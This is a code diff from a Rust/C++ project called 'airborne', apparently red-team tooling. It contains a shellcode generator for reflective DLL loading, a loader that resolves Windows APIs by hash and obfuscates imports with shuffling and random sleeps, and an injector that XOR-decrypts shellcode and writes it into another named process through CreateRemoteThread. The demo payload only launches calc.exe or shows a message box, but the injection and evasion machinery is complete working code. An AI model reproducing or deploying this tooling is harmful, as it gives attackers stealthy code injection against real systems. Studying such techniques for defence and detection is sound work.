bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
bootstrap.push(0xba);
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
bootstrap.push(0x48);
bootstrap.push(0x81);
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
/*
5.) call the reflective loader
*/
// call <loader_offset> - call the reflective loader address after calculation
bootstrap.push(0xe8);
let loader_address =
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
/*
6.) restore the stack and return to the original location (caller)
*/
// mov rsp, rsi - reset original stack pointer
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xf4);
// pop rsi - put things back where they were left
bootstrap.push(0x5e);
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
}
println!("[+] reflective loader size: {}", loader_b.len());
println!("[+] payload size: {}", payload_b.len());
let mut shellcode = Vec::new();
shellcode.append(&mut bootstrap);
shellcode.append(loader_b);
shellcode.append(payload_b);
shellcode.append(&mut parameter.as_bytes().to_vec());
/*
the final PIC shellcode will have the following memory layout:
- bootstrap
- sRDI shellcode
- payload DLL bytes
- user data
*/
println!("\n[+] total shellcode size: {}", shellcode.len());
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
);
println!(
"[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}",
payload_offset,
function_hash,
parameter,
parameter.len(),
flag
);
shellcode
}
fn gen_xor_key(keysize: usize) -> Vec<u8> {
let mut key = Vec::new();
for _ in 0..keysize {
key.push(rand::random::<u8>());
}
key
}
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
if e_name == name {
return Some(addr as _);
}
}
None
}
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
panic!("Failed to get DOS header");
}
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress,
) as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNames,
) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let export_functions = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions,
) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let export_ordinals = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals,
) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize;
exports.insert(
export_name.to_string(),
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
export_functions[export_ordinal],
),
);
}
}
exports
}
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T
}
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
);
let section_count = nt_header_ref.FileHeader.NumberOfSections;
for i in 0..section_count as usize {
let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress;
let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize;
// check if the rva is within the current section
if virtual_addr <= rva && virtual_addr + virtual_size > rva {
// adjust the rva to be relative to the start of the section in the file
rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData;
return base + rva as usize;
}
}
0
}

16
injector/Cargo.toml Normal file
View File

@ -0,0 +1,16 @@
[package]
name = "airborne-injector"
version = "0.1.0"
edition = "2021"
[dependencies]
lexopt = "0.3.0"
airborne-utils = { path = "../utils" }
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Diagnostics_ToolHelp",
]

View File

@ -1,56 +0,0 @@
#include <windows.h>
#include <iostream>
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
#define VERBOSE 1
int main(int argc, char **argv) {
if (argc != 3) {
std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
<< std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif
auto shellcodeContents = ReadFromFile(argv[1]);
#ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif
auto key = ReadFromFile(argv[2]);
#ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
XorCipher(&shellcodeContents, key);
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress) {
std::cout << "[!] Failed to allocate memory" << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif
__asm__("jmp *%0" ::"r"(baseAddress));
return 0;
}

62
injector/src/inject.rs Normal file
View File

@ -0,0 +1,62 @@
use std::{mem::transmute, ptr::null_mut};
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::{
Diagnostics::Debug::WriteProcessMemory,
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},
},
};
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
panic!("failed to open process");
}
let base_addr_ptr = VirtualAllocEx(
h_process,
null_mut(),
dll_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if base_addr_ptr.is_null() {
panic!("failed to allocate memory");
}
println!("[+] allocated memory at {:p}", base_addr_ptr);
if WriteProcessMemory(
h_process,
base_addr_ptr,
dll_vec.as_ptr() as _,
dll_len,
null_mut(),
) == 0
{
panic!("failed to write process memory");
}
let h_thread = CreateRemoteThread(
h_process,
null_mut(),
0,
Some(transmute(base_addr_ptr as usize)),
null_mut(),
0,
null_mut(),
);
if h_thread == INVALID_HANDLE_VALUE {
panic!("failed to create remote thread");
}
CloseHandle(h_thread);
CloseHandle(h_process);
}

89
injector/src/main.rs Normal file
View File

@ -0,0 +1,89 @@
mod inject;
mod process;
use std::{fs, path::PathBuf, process::exit};
use lexopt::Arg::{Long, Short};
#[derive(Debug)]
struct Args {
procname: String,
shellcode_path: PathBuf,
keyfile_path: PathBuf,
offset: usize,
}
fn main() {
let args = parse_args();
let proc_id =
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length");
exit(1);
}
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode");
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname);
unsafe { inject::inject(proc_id, shellcode) };
println!("[+] done");
}
fn parse_args() -> Args {
let mut args = Args {
procname: String::new(),
shellcode_path: PathBuf::new(),
keyfile_path: PathBuf::new(),
offset: 0,
};
let mut parser = lexopt::Parser::from_env();
while let Some(arg) = parser.next().expect("failed to parse arguments") {
match arg {
Short('p') => {
args.procname = parser
.value()
.expect("failed to parse process name")
.into_string()
.expect("failed to convert process name into String");
}
Short('s') => {
args.shellcode_path = parser
.value()
.expect("failed to parse shellcode path")
.into();
}
Short('k') => {
args.keyfile_path = parser.value().expect("failed to parse keyfile path").into();
}
Short('h') | Long("help") => {
print_usage();
exit(0);
}
_ => {
println!("[!] invalid argument: {:?}", arg);
print_usage();
exit(1);
}
}
}
if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() {
println!("[!] missing or invalid argument(s)");
print_usage();
exit(1);
}
args
}
fn print_usage() {
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
}

56
injector/src/process.rs Normal file
View File

@ -0,0 +1,56 @@
use std::ffi::CStr;
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
},
};
fn snapshot() -> isize {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
if snapshot == INVALID_HANDLE_VALUE {
panic!("failed to create snapshot");
}
snapshot
}
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
if Process32First(snapshot, &mut pe) == 0 {
CloseHandle(snapshot);
panic!("failed to get first process entry");
}
pe
}
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
let snapshot = snapshot();
let mut pe = first_proc_entry(snapshot);
loop {
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
.to_string_lossy()
.into_owned();
if proc_name.to_lowercase() == target_name.to_lowercase() {
let pid = pe.th32ProcessID;
println!("[+] {}: {}", pid, proc_name);
CloseHandle(snapshot);
return Some(pid);
} else if Process32Next(snapshot, &mut pe) == 0 {
break;
}
}
println!("[-] process with name {} not found", target_name);
CloseHandle(snapshot);
None
}

18
payload/Cargo.toml Normal file
View File

@ -0,0 +1,18 @@
[package]
name = "airborne-payload"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_Security",
"Win32_UI_Shell",
"Win32_UI_WindowsAndMessaging"
]

View File

@ -1,24 +0,0 @@
#pragma GCC diagnostic ignored "-Wunused-parameter"
#include <windows.h>
#ifdef BUILD_DLL
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT __declspec(dllimport)
#endif
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
}
return TRUE;
}
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) {
auto lpText = static_cast<LPCWSTR>(lpUserData);
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
return TRUE;
}

39
payload/src/lib.rs Normal file
View File

@ -0,0 +1,39 @@
use std::{ffi::c_void, ptr::null_mut, slice::from_raw_parts, str::from_utf8};
use windows_sys::{
w,
Win32::{
Foundation::HMODULE,
System::SystemServices::DLL_PROCESS_ATTACH,
UI::{
Shell::ShellExecuteW,
WindowsAndMessaging::{MessageBoxW, MB_OK},
},
},
};
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(_module: HMODULE, reason: u32, _reserved: *mut u8) -> bool {
if reason == DLL_PROCESS_ATTACH {
ShellExecuteW(0, w!("open"), w!("calc.exe"), null_mut(), null_mut(), 0);
}
true
}
#[no_mangle]
#[allow(non_snake_case)]
unsafe fn PrintMessage(user_data_ptr: *mut c_void, user_data_len: u32) {
let udata_slice = from_raw_parts(user_data_ptr as *const u8, user_data_len as usize);
// TODO: switch to no_std environment, wstr can be created from u8 by utilizing udata_len as array length
let mut user_text_wstr = from_utf8(udata_slice)
.unwrap()
.encode_utf16() // must be UTF-16 for MessageBoxW
.collect::<Vec<u16>>();
user_text_wstr.push(0); // null-termination
MessageBoxW(0, user_text_wstr.as_ptr() as _, w!("Hello World!"), MB_OK);
}

View File

@ -0,0 +1,20 @@
[package]
name = "airborne-reflective_loader"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
airborne-utils = { path = "../utils" }
rand_core = "0.6.0"
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_Kernel",
"Win32_System_Threading",
"Win32_System_WindowsProgramming"
]

View File

@ -1,392 +0,0 @@
#include "loader.hpp"
#include <tuple>
#include <utility>
#include <vector>
#include "../shared/crypto.hpp"
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) {
/*
1.) Locate the required functions and modules from exports with their hashed names
*/
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
if (pbKernel32Dll == nullptr) {
return;
}
std::random_device rd;
std::mt19937 eng(rd());
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, &eng));
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, &eng));
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, &eng));
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, &eng));
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, &eng));
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, &eng));
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) {
return;
}
/*
2.) Load the target image to a newly allocated permanent memory location with RW permissions
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
*/
auto pNtHeaders = GetNtHeaders(pImage);
if (pNtHeaders == nullptr) {
return;
} else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return;
} else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
return;
} else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) {
return;
}
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
// Try to allocate the image to the preferred base address
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
// Try to allocate the image to any available base address
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
return;
}
}
CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders);
/*
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
*/
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) {
return;
}
/*
4.) Resolve the imports by patching the Import Address Table (IAT)
*/
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, &eng)) {
return;
}
/*
5.) Finalize the sections by setting protective permissions after mapping the image
*/
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
/*
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if (dwFlags == 0) {
// Execute DllMain with DLL_PROCESS_ATTACH
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// Optionally user data could also be passed to the DllMain instead of a separate function
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
} else {
// Execute user defined function
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, &eng));
pUserFunction(pvUserData, dwUserDataLen);
}
}
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) {
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
DWORD dwOldProtect, dwNewProtect;
LPVOID lpAddress;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
dwNewProtect = 0;
// Definitions for readability
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) {
dwNewProtect = PAGE_NOACCESS;
}
if (dwIsWritable) {
dwNewProtect = PAGE_WRITECOPY;
}
if (dwIsReadable) {
dwNewProtect = PAGE_READONLY;
}
if (dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_READWRITE;
}
if (dwIsExecutable) {
dwNewProtect = PAGE_EXECUTE;
}
if (dwIsExecutable && dwIsWritable) {
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
}
if (dwIsExecutable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READ;
}
if (dwIsExecutable && dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READWRITE;
}
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
}
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
}
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng) {
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pImportDescriptor == nullptr) {
return FALSE;
}
/*
1.) Shuffle Import Table entries
2.) Delay the relocation of each import a semirandom duration
3.) Conditional execution based on ordinal/name
4.) Indirect function call via pointer
*/
int importCount = 0;
auto pId = pImportDescriptor;
while (pId->Name) {
importCount++;
pId++;
}
std::vector<std::pair<int, DWORD>> sleepDurations;
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
if (importCount > 1 && OBFUSCATE_IMPORTS) {
for (auto i = 0; i < importCount - 1; i++) {
std::uniform_int_distribution<> distr(i, importCount - 1);
int j = distr(*eng);
// Swap
auto tmp = pImportDescriptor[i];
pImportDescriptor[i] = pImportDescriptor[j];
pImportDescriptor[j] = tmp;
// Store unique sleep durations with their corresponding import index
auto sleepTime = sleepDist(*eng);
sleepDurations.push_back(std::make_pair(i, sleepTime));
}
}
LPCWSTR pwszModuleName;
HMODULE hModule;
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) {
// Apply delay
if (OBFUSCATE_IMPORTS) {
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair) { return pair.first == i; });
if (it != sleepDurations.end()) {
pSleep(it->second);
}
}
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
hModule = pLoadLibraryW(pwszModuleName);
if (hModule == nullptr) {
return FALSE;
}
pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
LPCSTR lpProcName;
PIMAGE_IMPORT_BY_NAME pImportByName;
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) {
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
// High bits masked out to get the ordinal number
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
} else {
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
lpProcName = pImportByName->Name;
}
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
}
}
return TRUE;
}
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) {
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
if (pRelocation == nullptr || pDataDirectory->Size == 0) {
return FALSE;
}
// Upper bound to prevent accessing memory part the end of the relocation data
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
PIMAGE_RELOC pRelocationList;
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) {
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock) {
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
switch (pRelocationList->type) {
case IMAGE_REL_BASED_DIR64:
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
break;
case IMAGE_REL_BASED_HIGHLOW:
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
break;
case IMAGE_REL_BASED_HIGH:
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
break;
case IMAGE_REL_BASED_LOW:
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
break;
default:
continue;
}
pRelocationList++;
}
pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
}
return TRUE;
}
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) {
// Copy headers
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
// Copy sections
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress);
PBYTE pbSrc;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
}
}
PBYTE GetModuleAddressFromHash(DWORD dwHash) {
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
#if defined(_WIN64)
// PEB is at GS:[0x60]
auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60));
#else
// PEB is at FS:[0x30]
auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30));
#endif
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
while (pEntry->DllBase != NULL) {
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) {
return reinterpret_cast<PBYTE>(pEntry->DllBase);
}
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
}
return nullptr;
}
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng) {
auto pNtHeaders = GetNtHeaders(pbModule);
if (pNtHeaders == nullptr) {
return nullptr;
}
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
/*
1.) Read the export data (dwNameRva's)
2.) Shuffle the order of the collected export name RVA's
3.) Find the correct export by calculating hashes of the function names
*/
DWORD dwNameRva;
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
}
std::shuffle(vNameRvas.begin(), vNameRvas.end(), *eng);
DWORD dwNameHash, dwFunctionRva;
UNICODE_STRING *strFunctionNameBase;
WORD wOrdinal;
for (auto dwNRva : vNameRvas) {
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
dwNameHash = CalculateHash(*strFunctionNameBase);
if (dwNameHash == dwHash) {
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
}
}
return nullptr;
}
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) {
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return nullptr;
}
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return nullptr;
}
return pNtHeaders;
}

View File

@ -1,71 +0,0 @@
#pragma once
#include <windows.h>
#include <winternl.h>
#include <algorithm>
#include <random>
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
constexpr auto OBFUSCATE_IMPORTS = 1;
constexpr DWORD KERNEL32_DLL_HASH = 0x6DDB9555;
constexpr DWORD LOAD_LIBRARY_W_HASH = 0xB7072FF1;
constexpr DWORD GET_PROC_ADDRESS_HASH = 0xDECFC1BF;
constexpr DWORD VIRTUAL_ALLOC_HASH = 0x097BC257;
constexpr DWORD FLUSH_INSTRUCTION_CACHE_HASH = 0xEFB7BF9D;
constexpr DWORD VIRTUAL_PROTECT_HASH = 0xE857500D;
constexpr DWORD SLEEP_HASH = 0x0E07CD7E;
// Function pointer typedefs from MSDN
using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR);
using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR);
using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD);
using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T);
